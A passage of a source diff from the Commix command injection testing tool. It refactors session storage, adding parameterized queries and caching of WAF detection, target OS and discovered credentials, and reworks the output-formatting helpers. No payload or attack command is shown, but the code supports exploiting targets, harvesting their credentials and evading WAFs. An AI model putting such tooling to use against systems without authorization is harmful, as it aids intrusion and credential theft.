(encoded_cmd, vuln_parameter, split_url(url))) + conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter, url) VALUES (?, ?, ?, ?)", + (encoded_cmd, + base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), + vuln_parameter, split_url(url))) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except (TypeError, AttributeError): pass + """ -Export successful command execution outputs from session file. +Retrieve the stored output of a previously executed command from the session database, decoding it back to a string. +Returns None if no stored output is found. """ def export_stored_cmd(url, cmd, vuln_parameter): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ - "vuln_parameter= '" + vuln_parameter + "';").fetchall() - else: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.UNICODE_ENCODING)).decode() + "' AND "\ - "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() + output = None + with _session_connection() as conn: + table = table_name(url) + "_ir" + encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + # Matched on the address too: one host's pages are not one another's answers. + query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ? AND url = ?;" + cursor = conn.execute(query, (encoded_cmd, vuln_parameter, split_url(url))).fetchall() + for session in cursor: + output = base64.b64decode(session[0]) + try: + return output.decode(settings.DEFAULT_CODEC) + except AttributeError: + return output + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Store whether the target was found to be WAF/IPS-protected, so a resumed +session against the same target doesn't need to redo the heuristic probe. +""" +def import_waf_status(url, waf_enabled): + try: + with _session_connection() as conn: + table = table_name(url) + "_waf" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (waf_enabled VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (waf_enabled) VALUES (?)", (str(waf_enabled),)) conn.commit() - conn.close() - - for session in cursor: - output = base64.b64decode(session[0]) - try: - return output.decode(settings.UNICODE_ENCODING) - except AttributeError: - return output - else: - no_such_table = True - pass - except sqlite3.OperationalError as err_msg: + except (sqlite3.OperationalError, sqlite3.DatabaseError): pass """ -Import valid credentials to session file. +Retrieve a previously stored WAF/IPS detection result for the given target. +Returns None if nothing is stored yet. +""" +def check_stored_waf_status(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_waf" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT waf_enabled FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] == "True" if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a WAF/IPS finding from a previous session, before testing starts. +""" +def restore_waf_status(url): + # A run that asked for no heuristics gets none, cached or otherwise: what is restored here was + # learned by a heuristic probe, and it goes on to decide how the tamper scripts behave. + if menu.options.skip_waf or menu.options.ignore_session or menu.options.flush_session \ + or menu.options.skip_heuristics: + return + if not settings.WAF_ENABLED and check_stored_waf_status(url): + settings.WAF_ENABLED = True + info_msg = "Previous session heuristics detected that the target is protected by some kind of WAF/IPS." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Store the operating system the target answered as, so a later run against it does not have to work +that out again - kept for the same reason the WAF/IPS finding above is. +""" +def import_target_os(url, target_os): + try: + with _session_connection() as conn: + table = table_name(url) + "_os" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (target_os VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (target_os) VALUES (?)", (str(target_os),)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve the operating system stored for this target. Returns None where nothing is stored yet. +""" +def check_stored_target_os(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_os" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT target_os FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a stored operating system before testing starts, so the shell that answered last time is +the one tested for first rather than being asked about again. +""" +def restore_target_os(url): + if menu.options.ignore_session or menu.options.flush_session or menu.options.os or menu.options.skip_heuristics: + return + if settings.IDENTIFIED_TARGET_OS: + return + stored = check_stored_target_os(url) + if not stored or stored == "None": + return + settings.TARGET_OS = settings.OS.WINDOWS if stored.lower() == settings.OS.WINDOWS else settings.OS.UNIX + settings.IDENTIFIED_TARGET_OS = True + settings.OS_IDENTIFICATION_PENDING = False + info_msg = "Previous session identified the target operating system as '" + info_msg += ("Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like") + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Store the hardware platform the target answered with, in a table of its own - an existing session's +'_os' table would not gain a column, so the two are kept apart. +""" +def import_target_arch(url, target_arch): + try: + with _session_connection() as conn: + table = table_name(url) + "_arch" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (target_arch VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (target_arch) VALUES (?)", (str(target_arch),)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve the hardware platform stored for this target. Returns None where nothing is stored yet. +""" +def check_stored_target_arch(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_arch" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT target_arch FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a stored hardware platform, so what the target already answered is not asked for again. +""" +def restore_target_arch(url): + if menu.options.ignore_session or menu.options.flush_session: + return + if settings.TARGET_ARCH: + return + stored = check_stored_target_arch(url) + if stored and stored != "None": + settings.TARGET_ARCH = stored + +""" +Store a confirmed testable-value placeholder, so a resumed session can reuse +it instead of re-probing whether the parameter's real value is required. +""" +def import_testable_value_status(url, vuln_parameter, http_request_method, placeholder): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (vuln_parameter VARCHAR, http_request_method VARCHAR, placeholder VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)) + conn.execute("INSERT INTO \"" + table + "\" (vuln_parameter, http_request_method, placeholder) VALUES (?, ?, ?)", (vuln_parameter, http_request_method, placeholder)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Forget a stand-in recorded for this parameter, where the point was found with its own value +instead - the two cannot both describe the same finding. +""" +def clear_testable_value_status(url, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + if not table_exists(conn, table): + return + conn.execute("DELETE FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve a previously confirmed testable-value placeholder. Returns None if nothing is stored. +""" +def check_stored_testable_value(url, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + if not table_exists(conn, table): + return None + row = conn.execute("SELECT placeholder FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)).fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Re-apply the stored placeholder to URL/data/prefix; the stored prefix still has the original value. +""" +def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None): + placeholder = check_stored_testable_value(url, vuln_parameter, http_request_method) + if not placeholder: + return (url, prefix) if prefix is not None else url + tag_pattern = r'([^&=]*)' + re.escape(settings.INJECT_TAG) + # What the request being replayed carries in place of the value, which says what it was found with. + carried = None + if menu.options.data and settings.INJECT_TAG in menu.options.data: + match = re.search(tag_pattern, menu.options.data) + if match: + # The body is the one given now, not the stored one, so it carries the value and is rewritten. + carried = match.group(1) + if carried != placeholder: + # Kept so that what is written out at the end reads as the value this run was given. + settings.TESTABLE_VALUE_STOOD_IN_FOR = carried + menu.options.data = menu.options.data.replace(carried + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) + elif settings.INJECT_TAG in url: + match = re.search(tag_pattern, url) + if match: + carried = match.group(1) + # The address is the stored finding's own, so one carrying anything but the stand-in was found + # without it - whatever an older row, written before the finding was, still says. + if carried != placeholder: + return (url, prefix) if prefix is not None else url + if carried is None: + return (url, prefix) if prefix is not None else url + # Only the value being stood in for is rewritten: a prefix naming anything else is the boundary's + # own or the one '--prefix' asked for, and standing in for that sends a payload nobody asked for. + if prefix is not None and prefix and prefix != placeholder: + if prefix == settings.TESTABLE_VALUE: + prefix = placeholder + else: + announce_replay_conflict(prefix, menu.options.prefix, "prefix", "--prefix") + # The address replayed here is the stored finding's own, carrying the stand-in rather than the + # value - so what the run was given is read off the value this still holds, one line before the + # stand-in takes its place. Without it a resumed finding is written out carrying three letters + # where the run that first found it wrote the value. + if settings.TESTABLE_VALUE and settings.TESTABLE_VALUE != placeholder: + settings.TESTABLE_VALUE_STOOD_IN_FOR = settings.TESTABLE_VALUE + settings.TESTABLE_VALUE = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + return (url, prefix) if prefix is not None else url + +""" +Save valid authentication credentials (e.g. username and password) discovered during testing into the session database. """ def import_valid_credentials(url, authentication_type, admin_panel, username, password): try: - conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ - "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ - "username VARCHAR, password VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\ - "admin_panel, username, password) VALUES(?,?,?,?,?)", \ - (str(url), str(authentication_type), str(admin_panel), \ - str(username), str(password))) - conn.commit() - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_creds" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " + "username VARCHAR, password VARCHAR);") + cursor = conn.execute("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND authentication_type = ? AND " + "admin_panel = ? AND username = ? AND password = ? LIMIT 1;", + (url, authentication_type, admin_panel, username, password)) + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", + (url, authentication_type, admin_panel, username, password)) + conn.commit() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) - except sqlite3.DatabaseError as err_msg: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "If the problem persists use the '--flush-session' option." - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except sqlite3.DatabaseError: + checks.error_loading_session_file() +""" +Keep the credentials this run was given, so that a target asking for them again is answered without +asking the user a second time. +Only for the types that have a username and a password to keep: what is stored is that pair, and a +bearer token is neither half of one - it is a single value with no colon in it, and asking it for a +second half is asking for one that was never there. """ -Export valid credentials from session file. +def store_given_credentials(url): + if settings.LOAD_SESSION or not (menu.options.auth_cred and menu.options.auth_type): + return False + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): + return False + username, _sep, password = menu.options.auth_cred.partition(":") + import_valid_credentials(url, authentication_type=menu.options.auth_type, admin_panel=url, + username=username, password=password) + return True + +""" +Retrieve valid stored authentication credentials for a given URL and authentication type from the session database. +Returns the credentials as a colon-separated string if found. """ def export_valid_credentials(url, authentication_type): - try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url='" + url + "' AND "\ - "authentication_type= '" + authentication_type + "';").fetchall() - - cursor = ":".join(cursor[0]) - return cursor - else: - no_such_table = True - pass - except sqlite3.OperationalError as err_msg: + try: + with _session_connection() as conn: + table = table_name(url) + "_creds" + clause, url_params = url_match(url) + query = "SELECT username, password FROM \"" + table + "\" WHERE " + clause + " AND authentication_type = ?;" + cursor = conn.execute(query, url_params + (authentication_type,)).fetchall() + if cursor: + return ":".join(cursor[0]) + except (sqlite3.OperationalError, sqlite3.DatabaseError): pass -# eof \ No newline at end of file +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 328b38c916..609ceedfdc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,116 +20,251 @@ import random import string import codecs +import unicodedata +import threading as _threading +from datetime import date +from datetime import datetime from src.core.compat import xrange -from src.thirdparty.six.moves import urllib as _urllib +from src.core import eval as _eval + +# About +APPLICATION = "commix" + +# The language whose code injection grammar is in use; '--eval' can name another one. +EVAL_GRAMMAR = _eval.grammar() from src.thirdparty.six.moves import reload_module as _reload_module + +# argv checks +def sys_argv_checks(): + tamper_index = None + for i in xrange(len(sys.argv)): + # Disable coloring + if sys.argv[i] == "--disable-coloring": + from src.utils import colors + colors.ENABLE_COLORING = False + """ + Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) + [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae + """ + if sys.argv[i].startswith("--tamper"): + if tamper_index is None: + tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) + else: + sys.argv[tamper_index] = sys.argv[tamper_index] + "," + (sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) + sys.argv[i] = "" + +# argv checks +sys_argv_checks() from src.thirdparty.colorama import Fore, Back, Style, init +from src.utils import colors +if not colors.ENABLE_COLORING: + # Strip ANSI codes at write time - the print_*_msg helpers below always + # build them in, regardless of this flag. + init(strip=True, convert=False) + +""" +Turn coloring off once the command line has been read. + +The switch is answered from sys.argv above, before anything is parsed, so that the first message is +already written the way it was asked for. A profile names it too, and that value is known only once +the file has been read - late, but still before the banner, so it is honoured there rather than +parsed and dropped. +""" +def drop_coloring(): + if not colors.ENABLE_COLORING: + return + colors.ENABLE_COLORING = False + init(strip=True, convert=False) + class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" - PUT = "PUT" - DELETE = "DELETE" - TRACE = "TRACE" - OPTIONS = "OPTIONS" - CONNECT = "CONNECT" - PATCH = "PATCH" - -# Status -FAIL_MSG = Fore.RED + " " * 10 + Style.RESET_ALL -FAIL_STATUS = "" + FAIL_MSG + "" -info_msg = Fore.GREEN + " " * 10 + Style.RESET_ALL -SUCCESS_STATUS = "" + info_msg + "" # Status Signs LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: " INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] " -INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " +INFO_BOLD_SIGN = "[" + Fore.GREEN + Style.BRIGHT + "info" + Style.RESET_ALL + "] " REQUEST_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " RESPONSE_SIGN = Style.RESET_ALL + "[" + Style.BRIGHT + Back.MAGENTA + "traffic" + Style.RESET_ALL + "] " QUESTION_SIGN = Style.BRIGHT -TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TOTAL_OF_REQUESTS_COLOR = Fore.LIGHTYELLOW_EX +TRACEBACK = Fore.LIGHTRED_EX WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT -ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " -PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " -SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL +PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " +SUB_CONTENT_SIGN = "" +SUB_CONTENT_SIGN_TYPE = " * " TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" -ABORTION_SIGN = ERROR_SIGN -DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " +ABORTION_SIGN = ERROR_SIGN +DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of authentication credentials: " +OS_SHELL_TITLE = Style.BRIGHT + "Command shell (type '?' for help)" + Style.RESET_ALL + +RL_INVISIBLE_START = "\001" +RL_INVISIBLE_END = "\002" + +# Colour codes wrapped so readline does not count them as characters on the line. +def styled_prompt(codes, text): + return RL_INVISIBLE_START + codes + RL_INVISIBLE_END + text + +OS_SHELL = APPLICATION + "(os_shell) > " + +# The timestamp every message carries. +def print_time(): + return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " + +""" +Shared tail for the timestamped print_*_msg wrappers below. +""" +def _format_msg(sign, msg, bold=False, strip=True): + prefix = Style.BRIGHT if bold else "" + msg = str(msg).rstrip() if strip else str(msg) + return print_time() + sign + prefix + msg + Style.RESET_ALL + +# Print execution status +def execution(status): + debug_msg = status + " " + APPLICATION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL + +# Print legal disclaimer message +def print_legal_disclaimer_msg(legal_disclaimer_msg): + result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL + return result + +""" +Keep what went wrong where a reader of the JSON report will find it. + +A run that could not reach its target and a run that reached it and found nothing both end with no +findings - what tells them apart is what went wrong on the way, so it is kept rather than only +printed. Warnings are left out: most of them are a test saying what it ruled out, which is the run +working rather than failing. +""" +def record_issue(level, message): + if REPORT_JSON is None: + return + REPORT_JSON.setdefault("errors", []).append({ + "time": datetime.now().strftime("%H:%M:%S"), + "level": level, + "message": strip_ansi_codes(str(message)).rstrip(), + }) + # Imported here, where it is used: logs reads this module on the way in, and reading it back at + # the top would be the two of them waiting on each other. + from src.utils import logs + logs.flush_report() # Print error message def print_error_msg(err_msg): - result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL - return result + record_issue("error", err_msg) + return _format_msg(ERROR_SIGN, err_msg) + +# Print error message +def print_bold_error_msg(err_msg): + record_issue("error", err_msg) + return _format_msg(ERROR_BOLD_SIGN, err_msg, bold=True) # Print critical error message -def print_critical_msg(err_msg): - result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL - return result +def print_critical_msg(err_msg, record=True): + if record: + record_issue("critical", err_msg) + return _format_msg(CRITICAL_SIGN, err_msg) # Print abortion message def print_abort_msg(abort_msg): - result = ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL - return result + record_issue("abort", abort_msg) + return _format_msg(ABORTION_SIGN, abort_msg) # Print warning message def print_warning_msg(warn_msg): - result = WARNING_SIGN + str(warn_msg) + Style.RESET_ALL - return result + return _format_msg(WARNING_SIGN, warn_msg) + +_PRINTED_ONCE_MESSAGES = set() + +""" +Print each warning message once per run, deduping by raw text. +""" +def print_once(raw_msg): + if raw_msg not in _PRINTED_ONCE_MESSAGES: + _PRINTED_ONCE_MESSAGES.add(raw_msg) + print_data_to_stdout(print_warning_msg(raw_msg)) # Print warning message def print_bold_warning_msg(warn_msg): - result = WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL - return result + return _format_msg(WARNING_BOLD_SIGN, warn_msg) -# Print legal disclaimer message -def print_legal_disclaimer_msg(legal_disclaimer_msg): - result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL - return result +# Print debug message (verbose mode) +def print_debug_msg(debug_msg): + return _format_msg(DEBUG_SIGN, debug_msg) + +# Print bold debug message (verbose mode) +def print_bold_debug_msg(debug_msg): + return _format_msg(DEBUG_BOLD_SIGN, debug_msg) # Print request HTTP message def print_request_msg(req_msg): - result = REQUEST_SIGN + str(req_msg) + Style.RESET_ALL - return result + return _format_msg(REQUEST_SIGN, req_msg) # Print response HTTP message def print_response_msg(resp_msg): - result = RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL - return result + return _format_msg(RESPONSE_SIGN, resp_msg) # Print information message def print_info_msg(info_msg): - result = INFO_SIGN + str(info_msg) + Style.RESET_ALL - return result + return _format_msg(INFO_SIGN, info_msg) # Print bold information message def print_bold_info_msg(info_msg): - result = INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL - return result + return _format_msg(INFO_BOLD_SIGN, info_msg, bold=True) + +# How a line break is shown in a payload, so it does not split the line. +ESCAPED_CR = "\\r" +ESCAPED_CRLF = "\\r\\n" + +# The control characters a payload can be built from, and how each is written where it is shown. +ESCAPED_CONTROLS = {"\t": "\\t", "\v": "\\v", "\x1a": "\\x1a"} # Print payload (verbose mode) def print_payload(payload): - result = PAYLOAD_SIGN + str(payload) + Style.RESET_ALL - return result + """ + One rendering for every payload that is shown, so the same payload never reads two ways. + + It is shown as it is built - real separators, real spaces - because that is the form worth + reading and pasting; the wire form, with everything escaped for the request, is what the traffic + at '-v 2' is for. The only things changed are the characters a terminal does not draw, which + would otherwise split the line or leave two different payloads looking like the same one. + """ + # A payload is shown exactly as long as it is, a trailing space included. + return _format_msg(PAYLOAD_SIGN, rendered_payload(payload), strip=False) + +""" +The characters a terminal does not draw, written out so they can be read. + +Every payload that is shown goes through here, wherever it is shown from - a payload written one +way where it is sent and another where it is reported reads as two payloads, and a tab printed raw +into a summary is a tab a reader cannot see is there. +""" +def rendered_payload(payload): + for sequence, shown in ((END_LINE.CRLF, ESCAPED_CRLF), (END_LINE.CR, ESCAPED_CR), + (END_LINE.LF, END_LINE.ESCAPED_LF)): + payload = payload.replace(sequence, shown) + return re.sub(r"[\x00-\x1f\x7f]", lambda match: ESCAPED_CONTROLS.get(match.group(0), + "\\x%02x" % ord(match.group(0))), payload) # Print HTTP traffic (verbose mode) def print_traffic(traffic): result = TRAFFIC_SIGN + str(traffic) + Style.RESET_ALL return result +# The request's number, as the traffic log refers to it. def print_request_num(number): result = TOTAL_OF_REQUESTS_COLOR + "#" + str(number) + Style.RESET_ALL return result -def print_output(output): - result = Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL - return result - # Print HTTP response content (verbose mode) def print_http_response_content(content): result = HTTP_CONTENT_SIGN + str(content) + Style.RESET_ALL @@ -137,72 +272,233 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - result = CHECK_SIGN + str(payload) + Style.RESET_ALL - return result + return _format_msg(CHECK_SIGN, payload, strip=False) # Print question message -def print_question_msg(question_msg): - result = QUESTION_SIGN + question_msg + Style.RESET_ALL +def print_message(message): + result = QUESTION_SIGN + message + Style.RESET_ALL return result +""" +Bold version of a message for use as an input() prompt. +""" +def input_message(message): + return styled_prompt(Style.BRIGHT, message) + +""" +Clears any style an input() prompt (via styled_prompt()) left switched on. +""" +def reset_terminal_style(): + _stdout_write(Style.RESET_ALL) + sys.stdout.flush() + # Print sub content message -def print_sub_content(sub_content): - result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL - return result +""" +Something read off the target, written the way the summary blocks already are. -# Print debug message (verbose mode) -def print_debug_msg(debug_msg): - result = DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result +No timestamp and no sign: what was retrieved is the answer, not a step towards it, and it reads +apart from the running log for that. Quoted, so a value that is empty or padded is still visible. +""" +def print_retrieved_data(label, retrieved, quoted=True): + text = str(retrieved) + if text.endswith(END_LINE.CRLF): + text = text[:-2] + elif text.endswith(END_LINE.LF): + text = text[:-1] + body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) + return label + ":" + body + Style.RESET_ALL -# Print bold debug message (verbose mode) -def print_bold_debug_msg(debug_msg): - result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result +""" +How many terminal columns a string actually draws as - 'len()' counts codepoints, but a +fullwidth/wide character (e.g. U+FF07, the one 'unicodequote' payloads print) still occupies two. +""" +def _display_width(text): + return sum(2 if unicodedata.east_asian_width(char) in ("W", "F") else 1 for char in text) -# argv checks -def sys_argv_checks(): - tamper_index = None - for i in xrange(len(sys.argv)): - # Disable coloring - if sys.argv[i] == "--disable-coloring": - from src.utils import colors - colors.ENABLE_COLORING = False - """ - Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) - [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae - """ - if sys.argv[i].startswith("--tamper"): - if tamper_index is None: - tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) - else: - sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) - sys.argv[i] = "" +""" +'ljust()' pads by codepoint count too, so a cell measured with '_display_width' still needs its +own padding worked out the same way, not left to the builtin. +""" +def _display_ljust(text, width): + return text + " " * (width - _display_width(text)) + +""" +A plain ASCII table - column widths taken from the widest cell each has, headers included. +""" +def render_table(headers, rows): + widths = [_display_width(str(header)) for header in headers] + for row in rows: + for index, cell in enumerate(row): + widths[index] = max(widths[index], _display_width(str(cell))) + border = "+" + "+".join("-" * (width + 2) for width in widths) + "+" + def _row(cells): + return "| " + " | ".join(_display_ljust(str(cell), widths[index]) for index, cell in enumerate(cells)) + " |" + lines = [border, _row(headers), border] + lines.extend(_row(row) for row in rows) + lines.append(border) + return END_LINE.LF.join(lines) + +# Print output of command execution +def command_execution_output(shell): + print_data_to_stdout(print_retrieved_data("Execution output", shell)) + return shell + +""" +Write to stdout, falling back to a lossy re-encode for unsupported characters. +""" +def _stdout_write(data): + try: + sys.stdout.write(data) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or DEFAULT_CODEC + sys.stdout.write(data.encode(encoding, errors="replace").decode(encoding, errors="replace")) + +""" +Print data to stdout +""" +def print_data_to_stdout(data): + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE, PROGRESS_DOT_COUNT, PROGRESS_INTERRUPTIONS + if getattr(_threading.current_thread(), "commix_suppress_output", False): + return + with PRINT_LOCK: + # A bare "\r" only moves the cursor and does not open a line. + if data == END_LINE.CR: + _stdout_write(data) + sys.stdout.flush() + return + + has_cr = END_LINE.CR in data + has_lf = END_LINE.LF in data + # The marker that says a progress line is finished, which is exactly what closes it: without + # that, the next line written over the top of it inherits its tail and its "(done)" with it. + is_done_marker = data == " (done)" + is_dot = data == "." + is_spinner_style = has_cr or is_dot or is_done_marker + is_established_closer = data == SINGLE_WHITESPACE + + if is_established_closer and not PROGRESS_LINE_OPEN: + return # nothing open to close - skip the cosmetic blank line + if is_established_closer: + # A question closes the progress line through this path before it is asked, so what follows + # it interrupts the technique just as much as a printed message does. + PROGRESS_INTERRUPTIONS += 1 + + # However many requests the step behind it actually took, the dot line itself stops growing + # once it would otherwise wrap - a fresh CR-drawn line (a new "please wait", or a rewritten one + # that already renders its own bounded text) resets the count rather than inheriting it. + if is_dot: + if PROGRESS_DOT_COUNT >= MAX_PROGRESS_DOTS: + return + PROGRESS_DOT_COUNT += 1 + elif has_cr: + PROGRESS_DOT_COUNT = 0 + + # Spinner continuations can append directly; other output needs a newline first. + if PROGRESS_LINE_OPEN and not is_spinner_style and not is_established_closer: + # Counted here because this is exactly "a message came between a progress line and its end". + PROGRESS_INTERRUPTIONS += 1 + sys.stdout.write(END_LINE.LF) + + # Only spinner output stays unterminated; other messages always end with a newline. The + # closer says nothing of its own, so it ends the line rather than leaving a space on it. + if is_established_closer: + data = END_LINE.LF + elif not 